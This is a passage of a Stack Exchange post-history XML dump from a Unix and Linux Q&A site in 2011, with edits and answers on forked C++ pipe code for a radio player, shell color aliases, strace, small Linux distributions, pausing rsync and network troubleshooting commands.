writeHttpPipe.&#xD;&#xA;			*  this continues until the &quot;q&quot; command is sent to the process via&#xD;&#xA;			*  readPPipe/readReadPPipe. when this happens the curl Callback function&#xD;&#xA;			*  returns 0, and the process closes all fds/pipes it has access to and cleans&#xD;&#xA;			*  up curl and exits.&#xD;&#xA;			*/&#xD;&#xA;			rc = 0;&#xD;&#xA;&#xD;&#xA;			close(httpPipe[0]);&#xD;&#xA;			writeHttpPipe = httpPipe[1];&#xD;&#xA;&#xD;&#xA;			close(ReadPPipe[1]);&#xD;&#xA;			readReadPPipe = ReadPPipe[0];&#xD;&#xA;&#xD;&#xA;			rc = readProcess(urlList.at(playListNum));&#xD;&#xA;			if(rc &gt; 0)&#xD;&#xA;			{&#xD;&#xA;				cout &lt;&lt; &quot;ERROR:: has occured in reading stream: &quot; &lt;&lt; urlList.at(playListNum) &lt;&lt; endl;&#xD;&#xA;				close(writeHttpPipe);&#xD;&#xA;				close(readReadPPipe);&#xD;&#xA;				exit(16);&#xD;&#xA;			}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		}else if(pid &gt; 0)&#xD;&#xA;		{&#xD;&#xA;			pid = fork();&#xD;&#xA;			if(pid ==0)&#xD;&#xA;			{&#xD;&#xA;				/* we are in the PlayProcess&#xD;&#xA;				 * the playProcess initialises libmpg123 and the OSS sound subsystem.&#xD;&#xA;				 * It then reads from httpPipe[0]/readHttpPipe until it recieves a &quot;q&quot; command&#xD;&#xA;				 * via PlayPPipe[0]/readPlayPPipe. at which point it closes all fd's and cleans&#xD;&#xA;				 * up libmpg123 handles and exits.&#xD;&#xA;				 */&#xD;&#xA;				close(httpPipe[1]);&#xD;&#xA;				sleep(1);&#xD;&#xA;&#xD;&#xA;				close(PlayPPipe[1]);&#xD;&#xA;				readPlayPPipe = PlayPPipe[0];&#xD;&#xA;&#xD;&#xA;				playProcess();&#xD;&#xA;				exit(0);&#xD;&#xA;&#xD;&#xA;			}else if(pid &gt; 0)&#xD;&#xA;			{&#xD;&#xA;				/* This is the main process&#xD;&#xA;				 *  this process reads from stdin for commands.&#xD;&#xA;				 *  if these are valid commands it processes this command and&#xD;&#xA;				 *  sends the relevant commands to the readProccess and the PlayProcess via&#xD;&#xA;				 *  the PlayPPipe[1]/writePlayPPipe and ReadPPipe[1]/writeReadPPipe.&#xD;&#xA;				 *  It then does suitable clean up.&#xD;&#xA;				 */&#xD;&#xA;				string command;&#xD;&#xA;&#xD;&#xA;				//close ends of pipe that we dont use.&#xD;&#xA;				close(ReadPPipe[0]);&#xD;&#xA;				close(PlayPPipe[0]);&#xD;&#xA;				close(httpPipe[0]);&#xD;&#xA;				close(httpPipe[1]);&#xD;&#xA;&#xD;&#xA;				//assign write ends of pipes to easier variables&#xD;&#xA;				writeReadPPipe = ReadPPipe[1];&#xD;&#xA;				writePlayPPipe = PlayPPipe[1];&#xD;&#xA;				rc = 0;&#xD;&#xA;&#xD;&#xA;				//wait for input&#xD;&#xA;				while(1)&#xD;&#xA;				{&#xD;&#xA;					cin &gt;&gt; command;&#xD;&#xA;					cout &lt;&lt; command &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;					rc = 0;&#xD;&#xA;&#xD;&#xA;					/* Next channel command. this sends a q command to&#xD;&#xA;					 * readProccess and playProcess to tell them to cleanup and exit().&#xD;&#xA;					 * then it breaks out of the loop, increments the playListNum and&#xD;&#xA;					 * we start all over again. The two processes get forked, this time with a new channel&#xD;&#xA;					 * and we wait for input.&#xD;&#xA;					 */&#xD;&#xA;					if(command == &quot;n&quot;)&#xD;&#xA;					{&#xD;&#xA;						rc = sendCommand(&quot;q&quot;);&#xD;&#xA;						if(rc != 0)&#xD;&#xA;						{&#xD;&#xA;							cout &lt;&lt; &quot;ERROR: failed to send command: &quot; &lt;&lt; command &lt;&lt; &quot;:&quot; &lt;&lt; endl;&#xD;&#xA;						}&#xD;&#xA;						break;&#xD;&#xA;					}&#xD;&#xA;&#xD;&#xA;					/* Quit program command.&#xD;&#xA;					 * This sends a command to the two proceesses to cleanup and exit() and then exits.&#xD;&#xA;					 *&#xD;&#xA;					 */&#xD;&#xA;					if(command == &quot;q&quot;)&#xD;&#xA;					{&#xD;&#xA;						rc = sendCommand(&quot;q&quot;);&#xD;&#xA;						if(rc != 0)&#xD;&#xA;						{&#xD;&#xA;							cout &lt;&lt; &quot;ERROR: failed to send command: &quot; &lt;&lt; command &lt;&lt; &quot;:&quot; &lt;&lt; endl;&#xD;&#xA;						}&#xD;&#xA;						exit(0);&#xD;&#xA;					}&#xD;&#xA;&#xD;&#xA;				}&#xD;&#xA;			}else&#xD;&#xA;			{&#xD;&#xA;				cout &lt;&lt; &quot;ERROR:: some thing happened with the fork to playProcess...&quot; &lt;&lt; endl;&#xD;&#xA;			}&#xD;&#xA;		}else&#xD;&#xA;		{&#xD;&#xA;			cout &lt;&lt; &quot;ERROR:: some thing happened with the fork to readProcess...&quot; &lt;&lt; endl;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;		//clean up the pipes otherwise we get junk in them.&#xD;&#xA;		close(writePlayPPipe);&#xD;&#xA;		close(writeReadPPipe);&#xD;&#xA;		delete json;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		//Parse JSON got from the above url into the list of urls so we can use it&#xD;&#xA;		JsonConfig *json = new JsonConfig(parms-&gt;GetParameter(&quot;URL&quot;));&#xD;&#xA;		json-&gt;GetConfigJson();&#xD;&#xA;		json-&gt;ParseJson();&#xD;&#xA;		json-&gt;GetUrls(urlList);&#xD;&#xA;&#xD;&#xA;		cout &lt;&lt; &quot;####----&gt;UrlListLength: &quot; &lt;&lt; urlList.size() &lt;&lt; endl;&#xD;&#xA;&#xD;&#xA;		//increment which url in the list we are going to be playing next.&#xD;&#xA;		playListNum++;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		//if the playlist is greater than or equal to the urlist size then we are back at the start of the list&#xD;&#xA;		if(playListNum &gt;= (int)urlList.size())&#xD;&#xA;		{&#xD;&#xA;&#xD;&#xA;			playListNum = 0;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This loop is so that I can go through a list of radio stations. When 'n' is pressed it sends a command to the two child processes which shut them down cleanly, and then closes all the pipes and loops back around, opening all them up again and forking the two processes again.&#xD;&#xA;&#xD;&#xA;The first time it goes through the loop it seems like this works, but on the second time around I get the following output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    URL: 192.168.0.5:9000/playlist&#xD;&#xA;    GetConfigJsonurl: 192.168.0.5:9000/playlist&#xD;&#xA;    httpPipe:3:4&#xD;&#xA;    PlayPPipe:5:6&#xD;&#xA;    ReadPPipe:7:8&#xD;&#xA;    GetConfigJsonurl: 192.168.0.5:9000/playlist&#xD;&#xA;    ####----&gt;UrlListLength: 2&#xD;&#xA;    httpPipe:0:4&#xD;&#xA;    PlayPPipe:7:8&#xD;&#xA;    ReadPPipe:9:10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So basically I would like to know how to stop pipe from opening up the std file descriptors.&#xD;&#xA;" />
  <row Id="13471" PostHistoryTypeId="2" PostId="5955" RevisionGUID="f5c91059-ad0f-4c42-bc00-c0080d31fb63" CreationDate="2011-01-16T09:17:56.567" UserId="3169" Text="FreeBSD has CLICOLOR.&#xD;&#xA;&#xD;&#xA;On Linux, you need to set LS_COLORS, GREP_COLOR, and GREP_OPTIONS='--color=auto'." />
  <row Id="13472" PostHistoryTypeId="5" PostId="5950" RevisionGUID="18c5ef9d-306e-4fcc-9a42-bdacaca29ee3" CreationDate="2011-01-16T09:21:15.137" UserId="1942" Comment="added 12 characters in body" Text="I want to setup some VMs running as small a Linux as I can.&#xD;&#xA;&#xD;&#xA;The criteria:&#xD;&#xA;&#xD;&#xA; 1.Package system based on Apt.&#xD;&#xA;&#xD;&#xA; 2.Runs some GUI ( can be very small ).&#xD;&#xA;&#xD;&#xA; 3.Runs in as little ram as possible: in this context 64M is good and 256M is bordering on too much.&#xD;&#xA; &#xD;&#xA;4.Install on a hd, not ram resident.&#xD;&#xA; &#xD;&#xA;5.As little HD space as possible. Ideal would be 1G.&#xD;&#xA; &#xD;&#xA;6.Fast boot and shutdown times.&#xD;&#xA;&#xD;&#xA;Suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13473" PostHistoryTypeId="5" PostId="5955" RevisionGUID="0adca452-4332-4d7b-af4e-4e36ddd48283" CreationDate="2011-01-16T09:24:32.193" UserId="3169" Comment="added 715 characters in body; added 204 characters in body; added 2 characters in body" Text="FreeBSD has [CLICOLOR][1].&#xD;&#xA;&#xD;&#xA;On Linux and any other system with GNU tools, you need to set LS_COLORS, GREP_COLOR, and GREP_OPTIONS='--color=auto', but even then you still need to run `ls --color=auto`.  Run `info coreutils 'ls invocation'` for more details.&#xD;&#xA;&#xD;&#xA;The easiest way I know is to make `ls` run `ls --color=auto` using an alias.&#xD;&#xA;&#xD;&#xA;This is what I put in my .bashrc (well, really my .env, but it's like .bashrc) to make it happen by default:&#xD;&#xA;&#xD;&#xA;    # set default flags&#xD;&#xA;    if grep --color=auto --quiet &quot;&quot; &quot;$HOME&quot;/.bashrc &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;      alias grep='grep --color=auto'&#xD;&#xA;    fi&#xD;&#xA;    if ls --color=never --directory / &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;      # enable colors with GNU ls&#xD;&#xA;      alias ls='ls --color=auto'&#xD;&#xA;    elif test &quot;$(CLICOLOR_FORCE=1 /bin/ls -G)&quot; != &quot;$(/bin/ls -G)&quot;&#xD;&#xA;    then&#xD;&#xA;      # enable colors with FreeBSD ls&#xD;&#xA;      alias ls='ls -G'&#xD;&#xA;    else&#xD;&#xA;      alias ls='ls -F'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mikelward.homedns.org/cgi-bin/manual?system=FreeBSD&amp;section=0&amp;format=html&amp;type=0&amp;query=ls" />
  <row Id="13474" PostHistoryTypeId="2" PostId="5956" RevisionGUID="8de0af8b-9294-4217-bd63-4ee1a61ced66" CreationDate="2011-01-16T09:28:16.947" UserId="3646" Text="strace can give you a picture of what your executable is doing with file descriptors:&#xD;&#xA;&#xD;&#xA;    strace -f -e trace=file,desc,ipc -o /tmp/strace.txt /path/to/exe arg1 arg2..." />
  <row Id="13475" PostHistoryTypeId="5" PostId="5950" RevisionGUID="da40134c-dc90-4f08-b45f-2e0106bebdd0" CreationDate="2011-01-16T09:37:59.780" UserId="1207" Comment="added 3 characters in body" Text="I want to setup some VMs running as small a Linux as I can.&#xD;&#xA;&#xD;&#xA;The criteria:&#xD;&#xA;&#xD;&#xA;1. Package system based on Apt.&#xD;&#xA;&#xD;&#xA;2. Runs some GUI ( can be very small ).&#xD;&#xA;&#xD;&#xA;3. Runs in as little ram as possible: in this context 64M is good and 256M is bordering on too much.&#xD;&#xA; &#xD;&#xA;4. Install on a hd, not ram resident.&#xD;&#xA; &#xD;&#xA;5. As little HD space as possible. Ideal would be 1G.&#xD;&#xA; &#xD;&#xA;6. Fast boot and shutdown times.&#xD;&#xA;&#xD;&#xA;Suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13476" PostHistoryTypeId="5" PostId="5955" RevisionGUID="7bf01a33-188a-42d1-8917-d49b11d6d02b" CreationDate="2011-01-16T09:54:22.340" UserId="3169" Comment="deleted 105 characters in body" Text="FreeBSD has [CLICOLOR][1].&#xD;&#xA;&#xD;&#xA;On Linux and any other system with GNU tools, you need to set LS_COLORS, GREP_COLOR, and GREP_OPTIONS='--color=auto', but even then you still need to run `ls --color=auto`.  Run `info coreutils 'ls invocation'` for more details.&#xD;&#xA;&#xD;&#xA;The easiest way I know to avoid typing `--color` on Linux is to make `ls` run `ls --color=auto` using an alias.&#xD;&#xA;&#xD;&#xA;This is what I put in my .bashrc (well, really my .env, but it's like .bashrc) to make it happen by default:&#xD;&#xA;&#xD;&#xA;    # set default flags&#xD;&#xA;    if grep --color=auto --quiet &quot;&quot; &quot;$HOME&quot;/.bashrc &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;      alias grep='grep --color=auto'&#xD;&#xA;    fi&#xD;&#xA;    if ls --color=never --directory / &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;      # enable colors with GNU ls&#xD;&#xA;      alias ls='ls --color=auto'&#xD;&#xA;    else&#xD;&#xA;      alias ls='ls -F'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mikelward.homedns.org/cgi-bin/manual?system=FreeBSD&amp;section=0&amp;format=html&amp;type=0&amp;query=ls" />
  <row Id="13477" PostHistoryTypeId="5" PostId="5923" RevisionGUID="e5293f2c-579c-4787-b751-baf168b60183" CreationDate="2011-01-16T10:08:50.720" UserId="3082" Comment="added 34 characters in body" Text="Install and try [tcsh][1]. You can also make it your default shell, if you want.&#xD;&#xA;Although I don't recommend it. ;-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tcsh.org/Welcome" />
  <row Id="13478" PostHistoryTypeId="25" PostId="5949" RevisionGUID="b466dacf-e3b8-47d4-8e22-a14d8f0ea59f" CreationDate="2011-01-16T10:55:35.810" Comment="http://twitter.com/#!/StackUnix/status/26593401684107264" />
  <row Id="13479" PostHistoryTypeId="6" PostId="5940" RevisionGUID="b7dc0da5-da0c-49d9-8446-316611757832" CreationDate="2011-01-16T11:02:44.027" UserId="29" Comment="add tags" Text="édebianàéx11àépowerömanagementàédpmsà" />
  <row Id="13481" PostHistoryTypeId="2" PostId="5957" RevisionGUID="acc4e237-f7d3-4d6a-a312-df1accd75701" CreationDate="2011-01-16T11:04:53.337" UserId="2130" Text="I am not aware of any apt-based Linux that is actually _small_. However, if you remove that one requirement (apt-based), I can recommend [Slitaz](http://slitaz.org).&#xD;&#xA;&#xD;&#xA;The ISO file is 30MB, it comes with a GUI and a functional Web browser. It is actually still maintained as opposed to DSL which seems to have been deprecated for a while.&#xD;&#xA;&#xD;&#xA;Slitaz uses `tazpkg` for management, which from my opinion is as easy as apt:&#xD;&#xA;&#xD;&#xA;    tazpkg list&#xD;&#xA;    tazpkg get-install gparted&#xD;&#xA;    tazpkg upgrade" />
  <row Id="13484" PostHistoryTypeId="2" PostId="5958" RevisionGUID="d315b495-9c44-4ed4-8b5b-abea393df593" CreationDate="2011-01-16T11:19:35.557" UserId="3496" Text="I've already set up ADSL and used it already for a system update, so I'm sure the set up is ok but pacman suddenly stopped working and when I checked ping wasn't working too. How can I find out what went wrong and how can I fix it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13485" PostHistoryTypeId="1" PostId="5958" RevisionGUID="d315b495-9c44-4ed4-8b5b-abea393df593" CreationDate="2011-01-16T11:19:35.557" UserId="3496" Text="Internet(ADSL) connection doesn't seem to be working on Arch" />
  <row Id="13486" PostHistoryTypeId="3" PostId="5958" RevisionGUID="d315b495-9c44-4ed4-8b5b-abea393df593" CreationDate="2011-01-16T11:19:35.557" UserId="3496" Text="éarchölinuxàépacmanàéinternetà" />
  <row Id="13487" PostHistoryTypeId="5" PostId="5957" RevisionGUID="8e5867b4-dd16-4846-9d12-afe819074023" CreationDate="2011-01-16T11:34:09.663" UserId="2130" Comment="deleted 1 characters in body" Text="I am not aware of any apt-based Linux that is actually _small_. However, if you remove that one requirement (apt-based), I can recommend [Slitaz](http://slitaz.org).&#xD;&#xA;&#xD;&#xA;The ISO file is 30MB, it comes with a GUI and a functional Web browser. It is actually still maintained as opposed to DSL which seems to have been abandoned for a while.&#xD;&#xA;&#xD;&#xA;Slitaz uses `tazpkg` for management, which from my opinion is as easy as apt:&#xD;&#xA;&#xD;&#xA;    tazpkg list&#xD;&#xA;    tazpkg get-install gparted&#xD;&#xA;    tazpkg upgrade" />
  <row Id="13488" PostHistoryTypeId="6" PostId="5951" RevisionGUID="42bb52f4-7de2-4ee7-9ecd-28b2c9f0ab88" CreationDate="2011-01-16T12:39:12.717" UserId="885" Comment="edited tags" Text="épipeàéapiàéfileödescriptorsà" />
  <row Id="13489" PostHistoryTypeId="6" PostId="5943" RevisionGUID="b094efe2-411d-4dc4-b38d-d31b1d2179f4" CreationDate="2011-01-16T12:42:25.817" UserId="885" Comment="edited tags" Text="émountàésudoàésambaà" />
  <row Id="13490" PostHistoryTypeId="5" PostId="5954" RevisionGUID="56720c70-a3f4-44f7-bf17-c9def205da64" CreationDate="2011-01-16T12:47:27.557" UserId="29" Comment="add addendum about status of project" Text="[Damn Small Linux](http://www.damnsmalllinux.org/) will make Debian look huge. If HD is only 50MB, you can believe memory footprint is small too. It's based on knoppix, which is based on debian, so AFAIK, it uses `apt`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Damn Small Linux is a very versatile 50MB mini desktop oriented Linux distribution.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;DSL was originally developed as an experiment to see how many usable desktop applications can fit inside a 50MB live CD. It was at first just a personal tool/toy. But over time Damn Small Linux grew into a community project with hundreds of development hours put into refinements including a fully automated remote and local application installation system and a very versatile backup and restore system which may be used with any writable media including a hard drive, a floppy drive, or a USB device.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;**Important note:** *[Apparently Damn Small Linux is no longer maintained](http://en.wikipedia.org/wiki/Damn_Small_Linux#Current_status_of_the_project)*" />
  <row Id="13491" PostHistoryTypeId="2" PostId="5959" RevisionGUID="6b947d2d-b217-42c4-9cfa-a938219cd9ff" CreationDate="2011-01-16T13:02:40.810" UserId="1562" Text="How can I pause an rsync that's running? &#xD;&#xA;&#xD;&#xA;First time I did Ctrl+C to kill it and used -P flag to run again. Is this prone to corrupt the current file transfer?&#xD;&#xA;&#xD;&#xA;Second time I simply put MacOS to sleep (by closing the lid). Looking at the running process I can see 2 (not sure why) with a status of 'S'.&#xD;&#xA;&#xD;&#xA;Tried using &#xD;&#xA;&#xD;&#xA;    kill -SIGCONT&#xD;&#xA;&#xD;&#xA;to resume the process but it has no effect." />
  <row Id="13492" PostHistoryTypeId="1" PostId="5959" RevisionGUID="6b947d2d-b217-42c4-9cfa-a938219cd9ff" CreationDate="2011-01-16T13:02:40.810" UserId="1562" Text="How can I pause/resume rsync" />
  <row Id="13493" PostHistoryTypeId="3" PostId="5959" RevisionGUID="6b947d2d-b217-42c4-9cfa-a938219cd9ff" CreationDate="2011-01-16T13:02:40.810" UserId="1562" Text="édebianàéprocessàérsyncà" />
  <row Id="13494" PostHistoryTypeId="2" PostId="5960" RevisionGUID="db9ff902-787f-4aff-a725-91da7a3b3995" CreationDate="2011-01-16T13:22:20.513" UserId="3839" Text="Ctrl + Z to suspend, and:&#xD;&#xA;&#xD;&#xA;    $ fg&#xD;&#xA;&#xD;&#xA;to continue, use &#xD;&#xA;&#xD;&#xA;    $ jobs&#xD;&#xA;to see suspended jobs; bg [number] to background them; fg [number] to foreground it.&#xD;&#xA;&#xD;&#xA;    Ctrl+S&#xD;&#xA;&#xD;&#xA;can also be used to suspend; then Ctrl + q to continue it." />
  <row Id="13495" PostHistoryTypeId="2" PostId="5961" RevisionGUID="68e198d5-bcd9-4f78-b9b3-ce001dfcb2aa" CreationDate="2011-01-16T13:31:02.740" UserId="885" Text="You can pause any program by sending it a `TSTP` (polite) or `STOP` (forcible) signal. On the terminal you've run `rsync` in, pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; sends `TSTP`. Resume with the `fg` or `bg` command in the terminal or a `CONT` signal.&#xD;&#xA;&#xD;&#xA;It is safe to kill an rsync process and run the whole thing again; it will continue where it left off. It may be a little inefficient, particularly if you haven't passed `--partial` (included in `-P`), because `rsync` will check all files again and process the file it was interrupted on from scratch.&#xD;&#xA;&#xD;&#xA;There may be unusual combinations of options that will lead to some files not being synchronized properly, maybe `--inplace` with something else, but I think no single option will cause this.&#xD;&#xA;&#xD;&#xA;If you disconnect your laptop and reconnect it somewhere else, it may get a different IP address. Then the TCP connection used by rsync would be severed, so you'd have to kill it and start again. This can also happen if you suspend your laptop and the TCP connection times out. The timeout will eventually filter out to the application level, but it can take a while. It's safe to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and run rsync again.&#xD;&#xA;" />
  <row Id="13496" PostHistoryTypeId="25" PostId="5959" RevisionGUID="b682a8d7-96ad-418a-bd93-9b480ed8d150" CreationDate="2011-01-16T13:55:35.960" Comment="http://twitter.com/#!/StackUnix/status/26638700792258560" />
  <row Id="13497" PostHistoryTypeId="2" PostId="5962" RevisionGUID="1c90f307-2a62-486c-bf9e-063d95d1c9db" CreationDate="2011-01-16T13:56:10.110" UserId="2180" Text="#IP Network Troubleshooting on Linux&#xD;&#xA;&#xD;&#xA;There are a few standard things you can look for when you are experiencing network connectivity issues on Linux.&#xD;&#xA;&#xD;&#xA;##Is access down to one site and not others?&#xD;&#xA;&#xD;&#xA;If you've just noticed a website or service is down, try others before concluding that you are the one experiencing problems, and not the website you are trying to visit.&#xD;&#xA;&#xD;&#xA;##Is DNS not working?&#xD;&#xA;&#xD;&#xA;DNS resolves domain names to ip addresses. If it isn't working, you may be able to access services by ip address but not domain names. To test for this, use&#xD;&#xA;&#xD;&#xA;    ping -c 2 8.8.8.8&#xD;&#xA;&#xD;&#xA;8.8.8.8 is the IP address of a Google server on the internet that should always be up; it can be replaced by any IP address known to be on the target network. This command sends two ICMP echo packet to a specific IP address; it doesn't rely on DNS to work. If the command works, replace the IP address with a domain name known to be working on the target network, like `ping -c 2 yahoo.com`; if this doesn't work, the problem is likely to be DNS. As a quick fix, you can try opening `/etc/resolv.conf` and adding `nameserver 8.8.8.8` after the last line (note, you may need root privileges to edit the file). That address happens to be a DNS server, and adding it to resolv.conf will tell your system to use it. If that doesn't work, you should submit another, more specific question here.&#xD;&#xA;&#xD;&#xA;##Is there a route to the network?&#xD;&#xA;&#xD;&#xA;To reach a network, your system has to know how to reach it. To see the routes your system knows about, we need a couple of commands.&#xD;&#xA;&#xD;&#xA;   ip rule show&#xD;&#xA;&#xD;&#xA;This command lists any routing rules that are setup on your system. If you see only three entries (lines) and they end in 'local', 'main', and 'default', then you have only the standard rules setup. If there are any other entries, note them; in particular, the last word of the line - they are names of routing tables.&#xD;&#xA;&#xD;&#xA;   ip route show&#xD;&#xA;&#xD;&#xA;This command shows routes setup on the main table. There should usually be an entry that directs traffic to the target network. For internet connections, it is a route that looks like `default [via address] dev [dev]...` where you may or may not have the 'via' part, and '[dev]' may be something like 'eth0' or 'wlan0' that represents which network interface the network is on.&#xD;&#xA;&#xD;&#xA;Previously I said that there should *usually* be an entry there. If you had other tables setup and a rule pointing to them to look at the entries in other tables by using the following, replacing '[table name]' with one of the names you noted in the previous (ip rule) step.&#xD;&#xA;&#xD;&#xA;    ip route show table [table name]&#xD;&#xA;&#xD;&#xA;If you do not have a route to the target network, you need to add one (or modify your network setup so it automatically adds the correct one for you). If you don't know how, ask a more specific question here, armed with this knowledge.&#xD;&#xA;&#xD;&#xA;##Is the network interface up?&#xD;&#xA;&#xD;&#xA;To be able to use a network interface it has to be up and it should have an address. You can find if it is up by using:&#xD;&#xA;&#xD;&#xA;    ip link show&#xD;&#xA;&#xD;&#xA;This lists the network interfaces on your system. You should see at least two, one called &quot;lo&quot; and another entry for each network interface on your system. If you have a wired and a wireless interface, you might see 'lo', 'eth0', and 'wlan0' or 'lo', 'eth0', and 'eth1' whatever they are - that first bit after the entry index is the name of the network interface. For each of the interface entries, you should also see either 'state UP', 'state DOWN', or 'state UNKNOWN'. If it says the link is down or unknown, the interface needs to be brought up. This is usually done by your system's networking setup - if it's not up, you can ask a more specific question here with this in mind. It can be done manually by the following command, replacing '[dev]' with the interface name (you may need root privileges).&#xD;&#xA;&#xD;&#xA;    ip link set dev [dev] up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Does the network interface have an address?&#xD;&#xA;&#xD;&#xA;In addition to having the interface up, it needs to have an IP address. You can find the addresses of your interfaces by running the following command.&#xD;&#xA;&#xD;&#xA;    ip address show&#xD;&#xA;&#xD;&#xA;You'll see an entry for each of your interfaces with all the addresses it has. Most entries will have a link address, the important part is the IP address. There should be a line labeled 'inet' with an address for the network interface connected to the target network. It should be added automatically by your networking setup; if it wasn't, a dhcp client may not be running, or the ppp daemon may not have added it - you should ask a more specific question here with this in mind. One can be added manually (but depending on the network may not work) by the following command, replacing '[ip address]' with an ip address appropriate for the network (which may be unknown if the network supplies IP addresses via DHCP or PPP) and replacing '[dev]' with the interface name.&#xD;&#xA;&#xD;&#xA;    ip address add [ip address] dev [dev]" />
  <row Id="13498" PostHistoryTypeId="5" PostId="5962" RevisionGUID="a5d63bee-2bc5-474a-ae33-a6d4a73a4022" CreationDate="2011-01-16T14:11:56.330" UserId="2180" Comment="Remove linux-specific title" Text="#IP Network Troubleshooting&#xD;&#xA;&#xD;&#xA;There are a few standard things you can look for when you are experiencing network connectivity issues on Linux.&#xD;&#xA;&#xD;&#xA;##Is access down to one site and not others?&#xD;&#xA;&#xD;&#xA;If you've just noticed a website or service is down, try others before concluding that you are the one experiencing problems, and not the website you are trying to visit.&#xD;&#xA;&#xD;&#xA;##Is DNS not working?&#xD;&#xA;&#xD;&#xA;DNS resolves domain names to ip addresses. If it isn't working, you may be able to access services by ip address but not domain names. To test for this, use&#xD;&#xA;&#xD;&#xA;    ping -c 2 8.8.8.8&#xD;&#xA;&#xD;&#xA;8.8.8.8 is the IP address of a Google server on the internet that should always be up; it can be replaced by any IP address known to be on the target network. This command sends two ICMP echo packet to a specific IP address; it doesn't rely on DNS to work. If the command works, replace the IP address with a domain name known to be working on the target network, like `ping -c 2 yahoo.com`; if this doesn't work, the problem is likely to be DNS. As a quick fix, you can try opening `/etc/resolv.conf` and adding `nameserver 8.8.8.8` after the last line (note, you may need root privileges to edit the file). That address happens to be a DNS server, and adding it to resolv.conf will tell your system to use it. If that doesn't work, you should submit another, more specific question here.&#xD;&#xA;&#xD;&#xA;##Is there a route to the network?&#xD;&#xA;&#xD;&#xA;To reach a network, your system has to know how to reach it. To see the routes your system knows about, we need a couple of commands.&#xD;&#xA;&#xD;&#xA;   ip rule show&#xD;&#xA;&#xD;&#xA;This command lists any routing rules that are setup on your system. If you see only three entries (lines) and they end in 'local', 'main', and 'default', then you have only the standard rules setup. If there are any other entries, note them; in particular, the last word of the line - they are names of routing tables.&#xD;&#xA;&#xD;&#xA;   ip route show&#xD;&#xA;&#xD;&#xA;This command shows routes setup on the main table. There should usually be an entry that directs traffic to the target network. For internet connections, it is a route that looks like `default [via address] dev [dev]...` where you may or may not have the 'via' part, and '[dev]' may be something like 'eth0' or 'wlan0' that represents which network interface the network is on.&#xD;&#xA;&#xD;&#xA;Previously I said that there should *usually* be an entry there. If you had other tables setup and a rule pointing to them to look at the entries in other tables by using the following, replacing '[table name]' with one of the names you noted in the previous (ip rule) step.&#xD;&#xA;&#xD;&#xA;    ip route show table [table name]&#xD;&#xA;&#xD;&#xA;If you do not have a route to the target network, you need to add one (or modify your network setup so it automatically adds the correct one for you). If you don't know how, ask a more specific question here, armed with this knowledge.&#xD;&#xA;&#xD;&#xA;##Is the network interface up?&#xD;&#xA;&#xD;&#xA;To be able to use a network interface it has to be up and it should have an address. You can find if it is up by using:&#xD;&#xA;&#xD;&#xA;    ip link show&#xD;&#xA;&#xD;&#xA;This lists the network interfaces on your system. You should see at least two, one called &quot;lo&quot; and another entry for each network interface on your system. If you have a wired and a wireless interface, you might see 'lo', 'eth0', and 'wlan0' or 'lo', 'eth0', and 'eth1' whatever they are - that first bit after the entry index is the name of the network interface. For each of the interface entries, you should also see either 'state UP', 'state DOWN', or 'state UNKNOWN'. If it says the link is down or unknown, the interface needs to be brought up. This is usually done by your system's networking setup - if it's not up, you can ask a more specific question here with this in mind. It can be done manually by the following command, replacing '[dev]' with the interface name (you may need root privileges).&#xD;&#xA;&#xD;&#xA;    ip link set dev [dev] up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Does the network interface have an address?&#xD;&#xA;&#xD;&#xA;In addition to having the interface up, it needs to have an IP address. You can find the addresses of your interfaces by running the following command.&#xD;&#xA;&#xD;&#xA;    ip address show&#xD;&#xA;&#xD;&#xA;You'll see an entry for each of your interfaces with all the addresses it has. Most entries will have a link address, the important part is the IP address. There should be a line labeled 'inet' with an address for the network interface connected to the target network. It should be added automatically by your networking setup; if it wasn't, a dhcp client may not be running, or the ppp daemon may not have added it - you should ask a more specific question here with this in mind. One can be added manually (but depending on the network may not work) by the following command, replacing '[ip address]' with an ip address appropriate for the network (which may be unknown if the network supplies IP addresses via DHCP or PPP) and replacing '[dev]' with the interface name.&#xD;&#xA;&#xD;&#xA;    ip address add [ip address] dev [dev]" />
